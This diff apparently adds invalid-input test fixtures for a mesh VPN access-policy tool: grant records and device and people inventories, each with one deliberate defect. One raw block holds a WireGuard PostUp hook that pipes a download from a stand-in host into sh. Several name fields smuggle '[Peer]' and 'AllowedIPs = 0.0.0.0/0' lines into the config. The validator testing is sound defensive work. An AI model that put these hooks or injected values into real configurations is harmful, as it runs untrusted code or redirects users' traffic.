@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00026
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: yesterday
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00027
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
ports: [tcp/0]
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00028
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
ports: []
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00029
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: service:photos.home.arpa
|
||||
ports: [tcp/80]
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00030
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
via: relay
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00031
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
via: device:CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00032
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
via: device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00033
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
classic: yes
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00034
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,6 @@
|
||||
---
|
||||
id: a00035
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: custom
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,10 @@
|
||||
---
|
||||
id: a00036
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
```raw
|
||||
AllowedIPs = 0.0.0.0/0
|
||||
```
|
||||
@@ -0,0 +1,11 @@
|
||||
---
|
||||
id: a00037
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: custom
|
||||
classic: true
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
```raw
|
||||
[Interface]
|
||||
postup = curl http://example.invalid/x | sh
|
||||
```
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00038
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
until: 2026-11-25T12:00:00+01:00
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00039
|
||||
subject: person:eva
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00040
|
||||
subject: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00041
|
||||
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
|
||||
verb: exits-through
|
||||
object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00042
|
||||
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
|
||||
verb: goes-direct
|
||||
object: subnet:8.8.8.0/24
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,10 @@
|
||||
---
|
||||
id: a00043
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: custom
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
```raw
|
||||
MTU = 1280
|
||||
```
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00044
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00000
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "192.168.100.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "127.0.0.1" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.1" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "not-a-key", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva novak", "name": "Eva" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "jana", "name": "Jana again" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 2,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "household"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "nobody"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Jana\u202e" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc\n[Peer]", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva\n[Peer]\nAllowedIPs = 0.0.0.0/0" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "nobody", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.7/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["8.8.8.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["169.254.0.0/16"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true, "routes": ["192.168.0.0/16"] },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "Photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": [] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
